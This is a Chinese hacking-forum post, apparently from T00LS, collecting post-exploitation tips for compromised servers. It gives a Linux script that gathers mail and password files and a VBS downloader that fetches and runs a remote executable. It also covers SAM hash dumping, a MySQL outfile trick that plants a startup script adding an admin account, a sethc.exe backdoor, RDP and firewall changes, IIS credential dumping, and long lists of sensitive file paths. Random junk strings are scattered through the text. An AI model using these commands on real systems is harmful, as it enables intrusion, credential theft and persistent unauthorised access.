——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
7 ]! Z  K# p  E3 {9 a1 X/ o) V————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
( p% _6 n, T! B{
注：
! f% E& L6 n6 d+ `  N/ u关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
' s2 e# H$ {9 {* U! N) j, ~那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
% Y: x! W" ^% o7 J) }
% K" I) b1 h5 i提权先执行systeminfo
9 ~* }. Q/ u: \9 G) Y" Ptoken 漏洞补丁号 KB956572
- \1 _8 }2 J) V. ]Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
* V* F% ?( ?* U9 F( ~$ ]; D* efor window：

1 a+ a" N/ t0 R@echo off
& M, D7 p' W% |" }/ H% _& Mecho #########system info collection
" p; g$ g1 p/ H5 |6 csysteminfo
. e- C. ?& _) ^/ b& V' g: r- h0 R: c! gver
hostname
net user
net localgroup
net localgroup administrators
) M  E  q0 m, g1 `- i2 qnet user guest
net user administrator

  ^3 D' F& S+ l% xecho #######at- with   atq#####
( }, w6 v$ L* `0 X1 A1 xecho schtask /query

echo
echo ####task-list#############
tasklist /svc
! F" ^1 J3 w' j* j. ?echo
echo ####net-work infomation
8 H/ M  j: v. cipconfig/all
route print
/ N, i+ L8 B0 i0 A8 Q( {arp -a
netstat -anipconfig /displaydns
' t$ z& g4 q5 \% m+ f8 Yecho
echo #######service############
sc query type= service state= all
echo #######file-##############
& H0 {, K) R& l3 f' Q7 w, wcd \
$ S5 j1 ]+ J. ]- i+ W  ?8 l) Otree -F
for linux：

#!/bin/bash
. f) i) P4 d* |2 V
echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
! I% d% [0 }7 T) J/ ~# ~echo #######basic infomation##
: A$ Q# w' ~0 T0 q* X; e6 c/ acat /proc/meminfo
echo
cat /proc/cpuinfo
) z3 t/ Q: `9 B3 T- pecho
rpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
5 y6 o$ d: i4 C8 v8 _+ }6 j. V" F% s

) D2 ~( ^9 q& r! z6 [echo 'u'r id is' `id`
  l' N: p; x$ k, W3 C! Aecho ###atq&crontab#####
. l! X9 G/ V' @1 patq
# U$ D9 K" ^3 `2 @! ecrontab -l
echo #####about var#####
3 v3 h) M: ?* H1 v4 y- L7 Mset
0 T( A: G- K/ ?8 o
echo #####about network###
' n5 P. q' i" w8 @. M0 k####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
cat /etc/passwd|grep -i sh
' V" d( c% K9 w
5 k0 p4 a( ^: K, t$ wecho ######service####
chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
; ?% c1 l, T2 P6 Lcat /etc/passwd|grep -i $i
$ ]- {* e% X$ b6 m. y" s% Kdone
5 J2 |2 s) w2 ]  z( B
locate passwd >/tmp/password 2>/dev/null
/ o/ q7 ]8 i! ?6 E" b0 csleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
: r# q: O% F$ o/ A% qlocate conf >/tmp/sysconfig 2>dev/null
6 L8 f* x+ p, N' c7 I; S- p5 vsleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
: ?# ?' W+ E  j* i! ^8 b( }——————————————
! C4 p3 F  b9 @( a3、ethash 不免杀怎么获取本机hash。
6 O' d. Z. ~8 C: A0 P' u* U首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
  v6 z" c% g) s1 O               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
2 F& m# {+ t) l3 s5 l* {hash 抓完了记得把自己的账户密码改过来哦！
, r7 h8 l$ U  n% V据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
& d% x. {" R6 q0 m——————————————
# H4 W- b; _1 o) w4、vbs 下载者
1
9 N2 O, O0 C; W$ [+ N, x4 l9 Pecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
8 v/ o2 ^7 i1 `" aecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
1 \! b% o* J, D8 aecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

" J. j+ [  n7 r2
/ x+ n% k+ g8 P9 X' rOn Error Resume Nextim iRemote,iLocal,s1,s2
3 U8 N! R/ O3 xiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- |( [8 p5 {( I) ~9 @6 ASet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
" ]" G- D6 f; T% o+ zSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
2 M  D) Z/ u1 gsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
1 F& `; c1 @- x- l
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
+ B3 q/ g: ]# g2 c# F) W; u  R
. S7 ]- z1 B6 C+ X- U2 v/ P: Z  |当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
. }& w4 d1 O% T& H: f* ]1.查询终端端口
) d/ Z7 \+ B6 j9 uREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
6 Z% c: i% v0 i1 A- K2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
8 W- J9 H# D1 o3.更改终端端口为2008(0x7d8)
. P0 i9 E* B& `4 k: V3 @REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
6 c3 T* [9 m: Y3 Z) C% L3 T$ {7 L" AREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
! G; S) t7 P1 g- J: ?" T4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
" A6 ]/ w$ u: X; C1 q( Z5 _$ F  Sinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
. U! D. F; A2 @2 V8 _————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 X7 D6 u9 Y* a, B* X# y, @; P_____
8、for /d %i in (d:\freehost\*) do @echo %i
. v* \' v3 P( x8 y
列出d的所有目录
  
  for /d %i in (???) do @echo %i

/ Z; P, l- H" ^2 ^. L# P- O把当前路径下文件夹的名字只有1-3个字母的打出来
( D( o; v& k. d; u- C* A+ ^
2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

8 ~) S, C, A  q6 B% wfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
3 y+ I2 _& ]( e. Y9 N" i
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

% \" I& Y7 l5 Z% O  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
, a8 V, N6 Q3 H# r$ s1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
) @5 f9 A3 @- X* l3 w' m7 z
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
1 e/ `$ A. P; R: G3 ?9 I$ R/ [9 X
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
3 K- ]0 h3 h4 g% A- r
" v  v4 o1 x$ T$ P5.禁用TCP/IP端口筛选(需重启):
5 z$ A2 r4 F2 ~5 \' ~7 m- kREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
! l/ x8 X) X+ L) S& W, [# _3 `
6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
: r+ ^/ c4 D* L- @: @' j2 @netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

/ L( L5 y- _" h/ i% w6 j6 ~. C8.系统口令恢复LM加密:
/ D! n& G, }' G5 Xreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
4 f- Z% ?$ j: I8 h; Ereg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
3 U, |+ k- t* \- T2 O- {! k* o
6 u! h: v. k: p! d: e- j10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
  a/ c& i, ?9 k
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
8 u/ B5 h, Z( q8 X9 `1 P* R& B星外vbs(注：测试通过，好东西）
+ U. w6 i& d, t& i6 _3 _Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
( ~: s9 e/ l) I3 U8 U' c/ i) ?9 r% ]7 |childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
" k2 S- q5 J: Gset IIs=objservice.GetObject("IIsWebServer",childObjectName)
4 _7 I. [* [, `, b5 T5 t" f7 fif err.number<>0 then
8 T' I( {' Z8 Z$ u0 kexit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
6 u% t- ^! G6 N+ A. Ouser=iisweb.AnonymousUserName
# e. l% J8 q, G$ l- Apass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
9 |( ^# z' y; |' e4 z; vwscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
. \1 [2 u3 C; c  L5 P) p% s, u- o' BWScript.Quit
复制代码
1 c& b6 H  m8 N2 g3 k/ W----------------------2011新气象，欢迎各位补充、指正、优化。----------------
4 U; n. Y1 w0 a6 n* [! F' V5 ]1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
) Z6 x: }2 V# Z$ s6 Z  H将folder.htt文件，加入以下代码：
. o) K. q9 M; O8 V! K<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
# j2 b, `8 ]5 A/ I0 ]/ s7 B复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
; U& t( X; e7 t" k$ a8 X 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
) P, @: u! B( V9 t" C: a& W 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
' H) Q. J- }7 L. X/ n' {, N! O: a- n. ? url=request.severvariables("path_info")
6 [8 C" G& N. X path_info可以直接呈现虚拟路径 顺利解析gif大马
, t3 G; g: [" ~% n" e! A
==============================================================
, A6 O5 p) k6 Y  w4 rLINUX常见路径：
7 F9 I) i: }$ j% ~( C% b
/etc/passwd
0 R7 f5 ]0 j# [6 Z6 O* j, h7 b/ u/etc/shadow
/etc/fstab
/etc/host.conf
5 o+ o0 y. m9 V" r( q" J) u/etc/motd
/etc/ld.so.conf
4 E5 p5 e6 ]6 z* C/var/www/htdocs/index.php
. p, a# I) y& f/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
) V& U- P- p+ G, P2 j+ @# k/var/httpd/conf/php.ini
( l4 A( h8 I* ~) a7 g5 J; x5 l+ F/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
" W1 }( ?; r6 j) x6 P( Z/opt/www/htdocs/index.php
+ o5 x/ v) J% _* r! y7 I/ l6 a) A/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
) k" x, L7 i7 n1 r0 D/usr/local/apache/htdocs/index.php
0 B8 r; A6 `* L- U2 n5 b6 U/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/ z6 W. y0 }4 r6 q# N6 d* {4 E% l+ R/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
7 V: o0 V5 \$ b3 B/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
9 I* F; X5 ~) ~& a0 P" p& F/etc/httpd/htdocs/index.php
5 H" ?& {! ^; e$ p6 m6 u/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
4 {4 P& v2 B/ X# F5 P. T/www/php5/php.ini
/www/conf/httpd.conf
6 p: c! M/ ]/ Y/ `8 B  ]/www/htdocs/index.php
/www/htdocs/index.html
/ k' \. p9 G0 V+ C' j/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
6 X( a' B" {, \2 J/etc/apache/apache.conf
0 p2 [2 i1 a7 |) q/etc/apache2/apache.conf
: X( f3 ~# G( ~. a2 O- X3 _. n/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
2 R2 O: G; @$ {, d* V; T/etc/phpmyadmin/config.inc.php
. R+ C4 ~) F3 u2 q& z# v' e/ X/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
" f/ k. u3 @2 x. O- u- Y) f1 w8 K/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
6 W1 B% C1 y2 f4 g$ w0 x7 ^/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
0 x. z/ l& j) r+ C  n/home/apache2/conf/httpd.conf
' {$ N8 N' Y0 X! e4 M/var/log/apache/error_log
3 F1 H2 d; \; E+ i/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
1 e6 H% B' W: Z3 L# B; L0 Z, m/var/log/apache2/error_log
/var/log/apache2/error.log
$ x# f) j7 l' r9 Z/var/log/apache2/access_log
9 U8 H/ P% x7 y; e3 u7 k( _2 H! U/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
# ?, I; t3 x. t. w6 R/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
8 c; b( _) ^( d/var/log/error_log
/var/log/error.log
/ e0 f, @) R3 _  H0 g# Z* h/var/log/access_log
/var/log/access.log
# @8 V% B7 H0 Q/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
) @# V3 R4 _8 r' S/etc/php.ini
0 d: s% V+ k+ g8 `% Z/bin/php.ini
4 f5 n& e/ Z9 Q0 O2 k/etc/init.d/httpd
2 `+ o8 y) T. t& }6 {+ Y% _/etc/init.d/mysql
/etc/httpd/php.ini
& N+ n4 I* j0 E5 f& e/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
. T) m  X& L/ ^4 r3 C0 {/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
6 q" E2 _) w6 N( ~( W/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
2 ^) P/ Z+ D. s$ r/ e/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
* E$ d6 C* }; a8 v" g/usr/local/apache2/conf/httpd.conf
0 m$ ~/ u& V% O; j/usr/local/apache2/conf/php.ini
& R: }* h. B: e+ k/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
. I& E) `2 X. j, T/etc/php5/apache/php.ini
& c8 K- E0 @; U4 V$ {8 q/etc/php5/apache2/php.ini
/etc/php/php.ini
9 r* c1 M; U# C& c/etc/php/php4/php.ini
/etc/php/apache/php.ini
9 O1 Q8 w+ ~$ H% }) B/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
7 M3 J; z; o& o8 h/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
9 M, E! k7 f4 }; v; E- X  c/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
$ y& J/ @# {1 q9 p: w; M/ P/etc/php5/cgi/php.ini
/php5/php.ini
3 Z* L; m, w8 @' Z9 T/php4/php.ini
7 F" b1 H( |# z- v/php/php.ini
/PHP/php.ini
; o8 B& @& S! {/ i8 r/apache/php/php.ini
/xampp/apache/bin/php.ini
' i4 n1 B7 z$ X- |4 |* i" _5 e8 m/xampp/apache/conf/httpd.conf
5 D& [& m; ?0 ?! G/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
' R- F  y! x7 c8 K+ J" A/var/log/mysql/mysql-bin.log
* x% U, L" ?" H7 k# o% v/var/log/mysql.log
: E- e6 V$ o+ o1 c+ x3 u, g/var/log/mysqlderror.log
/var/log/mysql/mysql.log
. G8 e5 j# t+ J0 t& @8 x% e/var/log/mysql/mysql-slow.log
/var/mysql.log
0 @+ v# N" b9 ^; K/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
  @- o0 |5 @4 G$ e( s! g% A/etc/mysql/my.cnf
3 a4 s, m% k9 P+ Q  _+ e/etc/my.cnf
/usr/local/cpanel/logs
" c2 @/ T) \" E, b/usr/local/cpanel/logs/stats_log
+ ?/ s' a. }7 Y% Q  ]/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
' L( m' V* a; \# [, D- Q$ D/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
: M# e% s8 Y( mc:\1.txt
2 T, n% R' }6 V. Yc:\a.txt

: `9 N2 [2 w# H5 I  ^; ac:\CMailServer\config.ini
; O# {" M, j6 m! r/ Oc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
( ^8 N! r) R& Z3 N: v0 jC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
$ Z) y, m+ t  s) y1 d
c:\hzhost\hzclient.exe
/ e+ w; V0 X: o/ _C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
; \7 _2 i" \& V$ l/ |. }1 bC:\WINDOWS\web.config
& X4 Y3 p5 d: X+ ec:\web\index.html
c:\www\index.html
7 I0 M+ O9 V( [# |# J) ^1 tc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
6 R1 v- r" t1 m( `8 _/ Tc:\WWWROOT\index.asp
c:\web\index.php
* {- \  n8 q% c4 I3 hc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
5 k* o# ^/ [* T/ u2 pc:\web\default.html
: q) e0 U$ z; K% z, hc:\www\default.html
% V  }9 f! W1 J- b" ?* Sc:\WWWROOT\default.html
0 Z0 {6 [9 a1 u9 p0 fc:\website\default.html
c:\web\default.asp
c:\www\default.asp
$ ]4 D! k' ?0 \c:\wwwsite\default.asp
c:\WWWROOT\default.asp
: W. w& o0 t+ Q0 c6 W4 ?$ ]& oc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
# R: J: ^. V/ T' ]. U6 fc:\WWWsite\default.php
. B% y1 H+ b/ AC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
) k& ]! K! j, ~! o9 pC:\Program Files\Microsoft Office\OFFICE11\winword.exe
4 V# r/ M7 o4 P& m3 _C:\Program Files\Microsoft Office\OFFICE12\winword.exe
; j0 Q" ?0 e. ]7 RC:\Program Files\Internet Explorer\IEXPLORE.EXE
  l% a9 G* C( x0 @0 Z' H# VC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
9 X9 M' Q, G' M# F/ ]C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
! |, U! {" F" h2 uc:\rising.ini
" x9 O$ I0 M; n& P& ^* T( xC:\Program Files\Rising\Rav\RsTask.xml
( }& {) s5 ]2 \' T8 m- TC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
' \4 ~5 Q; w* j. N( Q* I( A5 w5 {C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
, d9 i9 e# S: K3 [- X$ [$ kC:\Documents and Settings\Administrator\桌面\1.txt
# x. K' f) B9 H6 W3 U" \3 vC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
3 d0 f7 v3 H. B$ O) T' l' sC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
8 J5 S7 |: p+ Z+ l. k: t$ BE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
) ^" I  c5 y9 x$ w5 u$ S+ JC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
  r3 J& Q2 [5 C# O' u* a9 xC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
7 c; w* C9 O: z$ KC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
' u, A. _/ P5 w0 e" ?" DC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
. E/ r# }2 @5 m0 iC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
$ G' r$ I& b( [! FC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
7 J5 V4 o  {) W, U! Wc:\MySQL\MySQL Server 4.1\bin\mysql.exe
. g5 K0 T3 ~9 V' fc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
# e, P8 z/ T: G: ~. j" @: |C:\Program Files\Oracle\oraconfig\Lpk.dll
6 Y1 c/ h3 W! V' s5 S" ?5 iC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
6 n& S4 j- e& U' _$ kC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
. \7 ]; d" G% @' kC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
5 K2 [. Q" t- a5 vc:\program files\CMailServer\config.ini
- x9 f& Q; ?% x9 \# u' M# o+ ?c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
9 U& U& v0 ?9 {3 Q3 y( _/ Uc:\program files\tomcat6\bin\version.sh
. X# ]! r: s* C3 P6 H; e2 ~C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
0 Y% O2 {8 C  Lc:\Apache2\Apache2\bin\Apache.exe
) m! V% b( g( ^& J6 b- Kc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
# ]! R1 ^! t% l' oC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
3 C6 c3 c* A4 S4 _! ?/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
! \. y) z' n% I2 o) yc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
+ B7 Y+ E" R4 \# r, V1 \7 f5 Z1 xc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
. s1 _% h6 D1 z' N- K) Cc:\Program Files\Tencent\qq2008\qq.exe
" y& O" D  _6 t9 t# d# Z1 Yc:\Program Files\Tencent\qq2010\bin\qq.exe
7 d! m' u' S" P* N2 v  |c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
, H3 B0 C; n: m: jc:\Program Files\Tencent\RTXServer\AppConfig.xml
/ _7 S, L( |- j, `; A! wC:\Program Files\Foxmal\Foxmail.exe
2 S4 \4 W6 W( }( rC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
; \2 L& W. R' J: N) oC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
$ [- x2 h  Z" R  J7 ~+ JC:\Program Files\LeapFTP\LeapFTP.exe
0 a5 \0 I, g4 Z; Rc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
" ?" x+ L. {2 {2 x1 p/ JC:\Program Files\FlashFXP\flashfxp.exe
